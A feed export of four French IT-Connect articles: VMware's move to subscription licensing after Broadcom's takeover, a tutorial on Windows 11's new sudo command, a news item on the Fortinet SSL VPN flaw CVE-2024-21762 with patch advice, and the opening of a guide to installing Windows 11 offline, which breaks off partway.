# articles

feed_id: https://www.it-connect.fr/?p=75938
title: VMware vSphere Foundation, la nouvelle offre de VMware avec ESXi et vCenter.
uri: VMware-vSphere-Foundation-la-nouvelle-offre-de-VMware-avec-ESXi-et-vC
url:
https://www.it-connect.fr/vmware-vsphere-foundation-la-nouvelle-offre-de-vmware-avec-esxi-et-vcenter/

content:
<p><strong>Le 11 décembre 2023, à la suite de l’acquisition de VMware par Broadcom (pour 69 milliards US$), un communiqué annonce que la compagnie de Palo Alto va mettre fin au modèle des licences perpétuelles et cesser le support pour de nombreux produits. Les répercussions de cette nouvelle orientation plongent les clients de VMware dans l’incertitude et ces changements continuent de susciter beaucoup de réactions.</strong></p>



<p>Ce que VMware (maintenant «&nbsp;VMware by Broadcom&nbsp;») nomme une «&nbsp;<a href="https://news.vmware.com/company/vmware-by-broadcom-business-transformation" title="">simplification de son portefeuille de solutions</a>&nbsp;» signifie le passage vers un modèle de consommation des services par abonnement ou à la demande comme la plupart des plateformes de cloud public.</p>



<p>Parmi les produits phares de VMware qui font l’objet d’un changement de mode de licence, on compte notamment vSphere (infrastructure de virtualisation), vSAN (solution de type <em>Software-Defined Storage</em>), NSX (solution de type <em>Software-Defined Networking</em>) et la suite VMware Aria qui comprend des modules d’automatisation, de monitoring et d’orchestration des opérations.</p>



<p>En plus de ces changements, <a href="https://www.it-connect.fr/fin-des-licences-perpetuelles-chez-vmware-voici-la-liste-complete-des-produits-concernes/" target="_blank" rel="noopener" title="Fin des licences perpétuelles chez VMware : voici la liste complète des produits concernés !">56 produits (ou éditions) sont abandonnés par VMware</a> à la suite de l’acquisition par Broadcom et l’offre de services se concentre désormais autour de <strong>deux solutions principales</strong> :</p>



<ul>
<li><strong>VMware <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/stockage/cloud/" target="_blank" rel="noopener" title="Cloud" data-wpil-keyword-link="linked">Cloud</a> Foundation (VCF)&nbsp;:</strong> ce produit a été introduit en 2018 et il comprend l’infrastructure de virtualisation complète de VMware, c’est-à-dire vSphere, vSAN, NSX-T ainsi que des fonctionnalités de sécurité et la plateforme de gestion et d’automatisation Aria.</li>



<li><strong>VMware vSphere Foundation (VVF)&nbsp;:</strong> il s'agit de la nouvelle solution pour les environnements «&nbsp;sur site&nbsp;» traditionnels de VMware avec vSphere. Elle inclut les composants de base tels que l’hyperviseur ESXi et vCenter Server qui permet de gérer et mettre en place un environnement de virtualisation des serveurs, du réseau et du stockage. Une nouvelle image de marque a été présentée le 17 janvier dernier :</li>
</ul>



<figure class="wp-block-image size-large is-resized"><a href="https://blogs.vmware.com/vsphere/2024/01/embracing-change-with-vmware-vsphere-foundation.html"><img decoding="async" width="800" height="479" src="media/644bfa64.image-800x479.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-800x479.png" alt="" class="wp-image-75942" style="width:731px;height:auto" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-800x479.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-550x329.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-150x90.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-768x460.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image-50x30.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/image.png 1022w" sizes="(max-width: 800px) 100vw, 800px" /></a></figure>



<p>Comme vSphere est la solution qui détient la plus grande part de marché dans le secteur de la virtualisation, le changement de licensing «&nbsp;VMware vSphere Foundation&nbsp;» est sans doute celui qui suscite beaucoup d’interrogations.</p>



<p>Que signifie la nouvelle orientation de VMware et à quoi doit-on s'attendre ?</p>



<ul>
<li>Le portefeuille de solutions ne comprendra plus de produits à licences perpétuelles.</li>



<li>Des audits des clients sont à prévoir pour la transition vers le modèle par abonnement.</li>



<li>Le modèle par abonnement sera plus coûteux et moins avantageux à long terme.</li>
</ul>



<p>De manière générale, l’idée de restreindre le catalogue de VMware est légitime dans la mesure où l’offre logicielle était devenue énorme depuis quelques années et il était souvent difficile de s’y retrouver. Avec la mise en place du nouveau mode de licences, il sera intéressant de voir comment la clientèle va réagir à ces changements qui pourraient favoriser les compétiteurs comme Nutanix ou des solutions hyperconvergées de cloud privé comme <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/autres/tutos-azure/" target="_blank" rel="noopener" title="Azure" data-wpil-keyword-link="linked">Azure</a> Stack. Par ailleurs, Proxmox est également une alternative open source.</p>



<p>Il n’en demeure pas moins que VMware a une communauté fidèle comme VMUG (<em>VMware User Groups</em>) et des programmes tels que vExpert qui contribuent à faire rayonner les produits phares de la compagnie. Espérons que l’avenir soit favorable, notamment à vSphere qui demeure une solution mature, complète et sans égal sur le marché de la virtualisation.</p><p>The post <a href="https://www.it-connect.fr/vmware-vsphere-foundation-la-nouvelle-offre-de-vmware-avec-esxi-et-vcenter/">VMware vSphere Foundation, la nouvelle offre de VMware avec ESXi et vCenter.</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76000
title: Prise en main de « Sudo for Windows » sur Windows 11
uri: Prise-en-main-de-Sudo-for-Windows-sur-Windows-11
url: https://www.it-connect.fr/prise-en-main-de-sudo-for-windows-sur-windows-11/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Il y a quelques heures, Microsoft a dévoilé son nouveau projet open source : <a href="https://www.it-connect.fr/nouveaute-windows-11-sudo-for-windows/" target="_blank" rel="noopener" title="Microsoft dévoile « Sudo for Windows » pour Windows 11, un nouveau projet open source !">Sudo for Windows</a>. </strong>Il va permettre de bénéficier de la commande sudo, déjà disponible sur Linux et macOS, directement sur Windows 11, et probablement sur Windows Server 2025 par la suite. D'ailleurs, l'entreprise américaine explique que ce projet n'est pas un fork, ni un portage, de la version pour Linux. Il s'agit d'une version sudo créée de toutes pièces par Microsoft.</p>



<p><strong>Dans ce tutoriel, nous allons voir comment activer la commande sudo et comment l'utiliser au travers de quelques exemples. </strong>Il s'agit d'un premier aperçu, car l'intégration de sudo dans Windows va évoluer dans les prochains mois. Pour rappel, la commande sudo permet d'exécuter des commandes avec des privilèges élevés à partir d'une console exécutée en tant qu'utilisateur standard. </p>



<ul>
<li><a href="https://youtu.be/FSZJIUvdIco" target="_blank" rel="noopener nofollow" title="">Voir la vidéo sur YouTube</a></li>
</ul>







<p></p>



<h2 class="wp-block-heading">II. Activer sudo sur Windows 11</h2>



<p>Pour le moment, il n'est pas possible d'utiliser sudo sur une version stable de Windows 11, à moins d'utiliser un autre projet nommé gsudo. Vous devez utiliser au minimum <strong>Windows 11 Insider Preview Build 26052</strong>, qui, comme son nom l'indique est disponible au travers du programme Windows Insider.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="375" src="media/4631e5e5.Windows-11-Insider-Preview-Build-26052-sudo.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Insider-Preview-Build-26052-sudo.jpg" alt="Windows 11 Insider Preview Build 26052 sudo" class="wp-image-76002" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Insider-Preview-Build-26052-sudo.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Insider-Preview-Build-26052-sudo-550x258.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Insider-Preview-Build-26052-sudo-150x70.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Insider-Preview-Build-26052-sudo-768x360.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Insider-Preview-Build-26052-sudo-50x23.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour le moment, vous devez activer sudo à partir des options pour les développeurs de Windows 11. Vous pouvez ouvrir les "Paramètres" et rechercher "sudo", ceci va directement vous amener au bon endroit. Ici, cliquez sur le bouton permettant d'activer sudo.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="559" src="media/a2795eba.Windows-11-Activer-sudo.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Activer-sudo.jpg" alt="Windows 11 - Activer sudo" class="wp-image-76003" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Activer-sudo.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Activer-sudo-550x384.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Activer-sudo-150x105.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Activer-sudo-768x537.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Activer-sudo-50x35.jpg 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Activer-sudo-130x90.jpg 130w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Une fenêtre de confirmation va s'afficher à l'écran, cliquez sur "<strong>Oui</strong>".</p>



<figure class="wp-block-image size-full"><img decoding="async" width="682" height="235" src="media/2ce86091.Enable-Sudo-for-Windows.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Enable-Sudo-for-Windows.png" alt="Enable Sudo for Windows" class="wp-image-76004" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Enable-Sudo-for-Windows.png 682w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Enable-Sudo-for-Windows-550x190.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Enable-Sudo-for-Windows-150x52.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Enable-Sudo-for-Windows-50x17.png 50w" sizes="(max-width: 682px) 100vw, 682px" /></figure>



<p>Nous pouvons constater la présence d'un paramètre nommé "<strong>Configurer le mode d'exécution des applications par sudo</strong>". Il y a trois modes disponibles :</p>



<ul>
<li><strong>Dans une nouvelle fenêtre :</strong> la commande sudo exécutera la commande / le programme dans une fenêtre distincte (comme avec runas)</li>



<li><strong>Avec entrée désactivée</strong> : la commande sudo exécutera la commande "en lecture seule" sans interaction</li>



<li><strong>Inline </strong>: la commande sudo exécutera la commande dans la console active et le résultat sera retourné dans cette même console (même principe que sous <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/linux/" target="_blank" rel="noopener" title="Linux" data-wpil-keyword-link="linked">Linux</a>)</li>
</ul>



<figure class="wp-block-image size-full"><img decoding="async" width="705" height="227" src="media/88a3fefb.Mode-execution-sudo-sur-Windows-11.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Mode-execution-sudo-sur-Windows-11.png" alt="" class="wp-image-76005" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Mode-execution-sudo-sur-Windows-11.png 705w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Mode-execution-sudo-sur-Windows-11-550x177.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Mode-execution-sudo-sur-Windows-11-150x48.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Mode-execution-sudo-sur-Windows-11-50x16.png 50w" sizes="(max-width: 705px) 100vw, 705px" /></figure>



<p><strong>Voilà, sudo est activé sur votre PC Windows 11 !</strong></p>



<h2 class="wp-block-heading">III. Comment utiliser sudo sur Windows ?</h2>



<h3 class="wp-block-heading">A. Premiers pas avec Sudo for Windows</h3>



<p>Désormais, nous allons voir comment utiliser sudo sur Windows 11. Ouvrez une console sur votre machine, sans l'ouvrir en tant qu'administrateur, sinon l'utilisation de sudo n'a pas d'intérêt.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="574" height="359" src="media/683371c6.Ouvrir-un-Terminal-non-privilegie.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Ouvrir-un-Terminal-non-privilegie.jpg" alt="" class="wp-image-76006" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Ouvrir-un-Terminal-non-privilegie.jpg 574w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Ouvrir-un-Terminal-non-privilegie-550x344.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Ouvrir-un-Terminal-non-privilegie-150x94.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Ouvrir-un-Terminal-non-privilegie-50x31.jpg 50w" sizes="(max-width: 574px) 100vw, 574px" /></figure>



<p>Pour faire un essai concret, nous pouvons essayer d'exécuter la commande "netstat -ab" dans la console. Cette commande sert à visualiser les connexions actives et les programmes associées.</p>



<pre class="wp-block-code"><code>netstat -ab</code></pre>



<p>Cette commande retourne une erreur : <strong>L'opération demandée nécessite une élévation</strong> !</p>



<p>Désormais, nous pouvons relancer la même commande en ajoutant "sudo" en tant que préfixe :</p>



<pre class="wp-block-code"><code>sudo netstat -ab</code></pre>



<p>Une fenêtre de confirmation apparaît à l'écran, nous devons confirmer l'élévation de privilèges. <strong>Nous pouvons constater que sudo s'appuie sur l'UAC de Windows</strong>.</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="436" src="media/c5c5ecf2.UAC-avec-sudo-Windows.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/UAC-avec-sudo-Windows.jpg" alt="UAC avec sudo Windows" class="wp-image-76009" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/UAC-avec-sudo-Windows.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/UAC-avec-sudo-Windows-550x300.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/UAC-avec-sudo-Windows-150x82.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/UAC-avec-sudo-Windows-768x419.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/UAC-avec-sudo-Windows-50x27.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Cette fois-ci, cela fonctionne car <strong>Windows a procédé à une élévation de privilèges</strong> pour exécuter cette commande, et <strong>uniquement pour cette commande</strong>.</p>



<p>Vous pouvez constater la différence en image :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="370" src="media/289b1c76.netstat-avec-ou-sans-sudo.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/netstat-avec-ou-sans-sudo.png" alt="" class="wp-image-76007" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/netstat-avec-ou-sans-sudo.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/netstat-avec-ou-sans-sudo-550x254.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/netstat-avec-ou-sans-sudo-150x69.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/netstat-avec-ou-sans-sudo-768x355.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/netstat-avec-ou-sans-sudo-50x23.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">B. Exécuter une commande PowerShell avec sudo</h3>



<p>Nous pouvons exécuter une commande <a class="wpil_keyword_link" href="https://www.it-connect.fr/cours-tutoriels/administration-systemes/scripting/powershell/" target="_blank" rel="noopener" title="PowerShell" data-wpil-keyword-link="linked">PowerShell</a> (ou un script) en utilisant sudo. Prenons un exemple très simple : nous allons essayer de créer le fichier "C:\fichier.txt" à partir de notre console non privilégiée.</p>



<pre class="wp-block-code"><code>New-Item "C:\fichier.txt"</code></pre>



<p>Cette commande retourne une erreur car nous n'avons pas suffisamment de privilèges !</p>



<p>Dans ce cas, nous pouvons ajouter le préfixe "sudo" :</p>



<pre class="wp-block-code"><code>sudo New-Item "C:\fichier.txt"</code></pre>



<p>Ah, l'erreur "<strong>Command not found</strong>" est retournée cette fois-ci ! Sudo ne parvient pas à interpréter notre commande.</p>



<p>Nous allons essayer d'une autre manière :</p>



<pre class="wp-block-code"><code>sudo powershell.exe -Command "New-Item 'C:\fichier.txt'"</code></pre>



<p>Cette fois-ci, c'est passé ! <strong>La commande PowerShell a été exécutée avec des privilèges élevés.</strong></p>



<p>Voici un récapitulatif en image :</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="388" src="media/c96c6a57.sudo-executer-commande-powershell-800x388.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-executer-commande-powershell-800x388.png" alt="sudo exécuter commande powershell" class="wp-image-76010" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-executer-commande-powershell-800x388.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-executer-commande-powershell-550x267.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-executer-commande-powershell-150x73.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-executer-commande-powershell-768x372.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-executer-commande-powershell-50x24.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-executer-commande-powershell.png 1021w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Ici, le résultat est retourné dans la console car sudo est en mode Inline. Si le mode actif serait "<strong>forceNewWindow</strong>", sudo aurait exécuté une fenêtre PowerShell distincte pour jouer la commande à l'intérieur, et nous n'aurions pas eu le retour dans la console.</p>



<p>Vous pouvez aussi basculer d'une console non privilégiée à une console PowerShell privilégiée, en exécutant PowerShell via sudo :</p>



<pre class="wp-block-code"><code># Windows PowerShell
sudo powershell.exe
# PowerShell
sudo pwsh.exe</code></pre>



<p>La console bascule bien en mode "Administrateur" :</p>



<figure class="wp-block-image size-full"><img decoding="async" width="800" height="165" src="media/2fa247dc.sudo-powershell.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-powershell.jpg" alt="sudo powershell" class="wp-image-76012" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-powershell.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-powershell-550x113.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-powershell-150x31.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-powershell-768x158.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-powershell-50x10.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<h3 class="wp-block-heading">C. Changer le mode d'exécution de sudo</h3>



<p>Bien que ce soit limité pour le moment, et qu'il n'y a pas de fichier de configuration comme sous Linux (<strong>/etc/sudoers</strong>), il y a quand même un jeu de commande associé à sudo pour Windows.</p>



<p>Par exemple, nous pouvons passer d'un mode d'exécution à un autre via la commande suivante :</p>



<pre class="wp-block-code"><code>sudo config --enable &lt;nom du mode&gt;</code></pre>



<p>Le mode "<strong>normal</strong>" correspond au mode <strong>Inline</strong>. Ainsi, il suffit de choisir un mode, tout en faisant attention à la casse qui semble être prise en charge (ce qui est assez inhabituel sur Windows). Voici un exemple :</p>



<figure class="wp-block-image size-large"><img decoding="async" width="800" height="301" src="media/516e9d20.sudo-config-enable-exemple-800x301.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-config-enable-exemple-800x301.png" alt="" class="wp-image-76011" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-config-enable-exemple-800x301.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-config-enable-exemple-550x207.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-config-enable-exemple-150x56.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-config-enable-exemple-768x289.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-config-enable-exemple-50x19.png 50w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/sudo-config-enable-exemple.png 1114w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Pour savoir quel est le mode actif, il vous suffit d'utiliser cette commande :</p>



<pre class="wp-block-code"><code>sudo config
&gt; Sudo is currently in Inline mode on this machine</code></pre>



<h2 class="wp-block-heading">IV. Conclusion</h2>



<p>Voilà, ce tutoriel d'introduction à Sudo for Windows est terminé ! Nous verrons ce que Microsoft apporte comme évolution dans les prochains mois. Ce serait intéressant d'avoir un fichier de configuration similaire au fichier "/etc/sudoers" de Linux afin de pouvoir déléguer l'accès à certaines commandes ou certains programmes. Autrement dit, ceci permettrait d'autoriser un utilisateur à exécuter un seul programme en tant qu'administrateur.</p><p>The post <a href="https://www.it-connect.fr/prise-en-main-de-sudo-for-windows-sur-windows-11/">Prise en main de « Sudo for Windows » sur Windows 11</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=76019
uri: Fortinet-CVE-2024-21762-la-fonction-VPN-SSL-affectée-par-une-no
url: https://www.it-connect.fr/fortinet-cve-2024-21762-vpn-ssl-faille-de-securite-critique/
title:
Fortinet – CVE-2024-21762 : la fonction VPN SSL affectée par une nouvelle faille de sécurité critique !

content:
<p><strong>Depuis plusieurs jours, il y avait quelques rumeurs sur le sujet. Désormais, c'est officiel : une nouvelle faille de sécurité critique est présente dans la fonction VPN SSL des firewalls Fortinet. Il est fort probable qu'elle soit déjà exploitée. Voici ce qu'il faut savoir.</strong></p>



<p>Il y a un peu plus d'un an, <a href="https://www.it-connect.fr/panique-chez-fortinet-une-faille-zero-day-critique-dans-le-vpn-ssl/" target="_blank" rel="noopener" title="">une importante faille de sécurité avait été découverte dans la fonction VPN SSL de FortiOS</a>, le système utilisé par les firewalls Fortinet. Malheureusement, l'histoire semble se répéter. </p>



<p>Une nouvelle faille de sécurité critique de type "<em>out-of-bounds write</em>", associée à la référence <strong>CVE-2024-21762 </strong>et à un <strong>score CVSS de 9.6 sur 10</strong>, a été identifiée sur le système FortiOS. Elle permet à un <strong>attaquant non authentifié </strong>d'<strong>exécuter du code à distance</strong> sur le firewall Fortinet, à l'aide d'une requête spécialement conçue dans ce but. On peut imaginer que cette vulnérabilité permette de compromettre le firewall.</p>



<p>Pour rendre <strong>accessible l'interface <a class="wpil_keyword_link" href="https://www.it-connect.fr/les-tunnels-vpn-pour-les-debutants/" target="_blank" rel="noopener" title="VPN" data-wpil-keyword-link="linked">VPN</a> SSL</strong> permettant la connexion des clients VPN distants,<strong> le firewall Fortinet doit être exposé sur Internet</strong>. De ce fait, si vous utilisez la fonction de VPN SSL, votre firewall est probablement vulnérable à cette attaque. Dans le <a href="https://www.fortiguard.com/psirt/FG-IR-24-015" target="_blank" rel="noopener nofollow" title="">bulletin de sécurité de Fortinet</a>, il est précisé : "<em>Cette vulnérabilité est potentiellement exploitée dans la nature.</em>", mais nous ne savons pas ni comment, ni par qui. <strong>Ce sera à suivre de près dans les prochains jours.</strong></p>



<h2 class="wp-block-heading">Les versions de FortiOS vulnérables et comment se protéger ?</h2>



<p>Comme le montre le tableau ci-dessous, <strong>cette vulnérabilité affecte quasiment toutes les versions de FortiOS, à part la version FortiOS 7.6</strong>. Pour toutes les autres versions, vous devez effectuer une mise à jour (colonne "Solution").</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="340" src="media/3523466e.Fortinet-VPN-SSL-CVE-2024-21762.png" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Fortinet-VPN-SSL-CVE-2024-21762.png" alt="Fortinet VPN SSL - CVE-2024-21762" class="wp-image-76020" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Fortinet-VPN-SSL-CVE-2024-21762.png 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Fortinet-VPN-SSL-CVE-2024-21762-550x234.png 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Fortinet-VPN-SSL-CVE-2024-21762-150x64.png 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Fortinet-VPN-SSL-CVE-2024-21762-768x326.png 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Fortinet-VPN-SSL-CVE-2024-21762-50x21.png 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Les équipements Fortinet étant très populaires, ils sont <strong>une cible privilégiée par plusieurs groupes de cybercriminels</strong>. Si vous utilisez un firewall Fortinet, il est plus que recommandé d'<strong>effectuer la mise à jour dès que possible</strong>. Maintenant que la faille est divulguée, il est probable qu'elle soit exploitée massivement dans les prochains jours...</p>



<p>Si vous ne pouvez pas appliquer le correctif dès maintenant, <strong>vous devez désactiver l'accès VPN SSL temporairement</strong>. À ce sujet, Fortinet précise : "<em>Désactiver le mode web n'est PAS une solution valable.</em>".</p>



<p><a href="https://www.bleepingcomputer.com/news/security/new-fortinet-rce-flaw-in-ssl-vpn-likely-exploited-in-attacks/" title="">Source</a></p><p>The post <a href="https://www.it-connect.fr/fortinet-cve-2024-21762-vpn-ssl-faille-de-securite-critique/">Fortinet – CVE-2024-21762 : la fonction VPN SSL affectée par une nouvelle faille de sécurité critique !</a> first appeared on <a href="https://www.it-connect.fr">IT-Connect</a>.</p>


feed_id: https://www.it-connect.fr/?p=75804
title: Comment installer Windows 11 sans connexion à Internet ?
uri: Comment-installer-Windows-11-sans-connexion-à-Internet
url: https://www.it-connect.fr/comment-installer-windows-11-sans-connexion-a-internet/
content:
<h2 class="wp-block-heading">I. Présentation</h2>



<p><strong>Dans ce tutoriel, nous allons voir comment installer Windows 11 sans connexion à Internet, c'est-à-dire que l'on va passer outre l'étape "Il est temps de vous connecter à un réseau". </strong>Ainsi, nous pourrons effectuer une installation hors ligne de Windows 11 et créer un compte local (uniquement), sans problème.</p>



<p>Lors de l'installation de Windows 11, si la machine dispose d'une interface réseau, mais qu'<strong>elle n'est pas connectée</strong> (câble débranché, par exemple) ou qu'<strong>elle n'a pas d'adresse IP</strong> (une VM sur un réseau sans DHCP, par exemple), on se retrouve <strong>bloqué </strong>sur l'étape présentée ci-dessous. En effet, le bouton "<strong>Suivant</strong>" est grisé. </p>



<p>Nous allons voir comment débloquer la situation grâce à l'exécution d'une seule et unique commande pendant l'installation.</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="573" src="media/9f3f237e.s-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau.jpg" alt="Windows 11 - Passer étape Il est temps de vous connecter à un réseau" class="wp-image-75805" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau-550x394.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau-150x107.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau-768x550.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau-50x36.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



<p>Si besoin :</p>



<ul>
<li><a href="https://www.it-connect.fr/comment-telecharger-iso-de-windows-11-23h2/" target="_blank" rel="noopener" title="Comment télécharger l’ISO de Windows 11 23H2 ?">Comment télécharger l'ISO d'installation de Windows 11 23H2 ?</a></li>
</ul>



<h2 class="wp-block-heading">II. L'installation de Windows 11 sans Internet</h2>



<p>Commencez par créer votre clé USB bootable de Windows 11 (ou à lancer l'installation de votre VM), et suivez les premières étapes de l'installation... Le point de blocage apparaît après le premier redémarrage, là où l'on doit finaliser l'installation.</p>



<p>Une fois que vous êtes sur l'étape de connexion au réseau, plusieurs solutions sont envisageables. Celle que nous vous proposons dans cet article consiste à utiliser une commande pour passer l'étape du réseau lors de l'installation du système. Tout simplement.</p>



<p>Pour exécuter cette commande magique, attendez d'être sur cet écran :</p>



<figure class="wp-block-image size-full"><img fetchpriority="high" decoding="async" width="800" height="573" src="media/9f3f237e.s-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau.jpg" data-original-source="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau.jpg" alt="Windows 11 - Passer étape Il est temps de vous connecter à un réseau" class="wp-image-75805" srcset="https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau.jpg 800w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau-550x394.jpg 550w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau-150x107.jpg 150w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau-768x550.jpg 768w, https://www.it-connect.fr/wp-content-itc/uploads/2024/02/Windows-11-Passer-etape-Il-est-temps-de-vous-connecter-a-un-reseau-50x36.jpg 50w" sizes="(max-width: 800px) 100vw, 800px" /></figure>



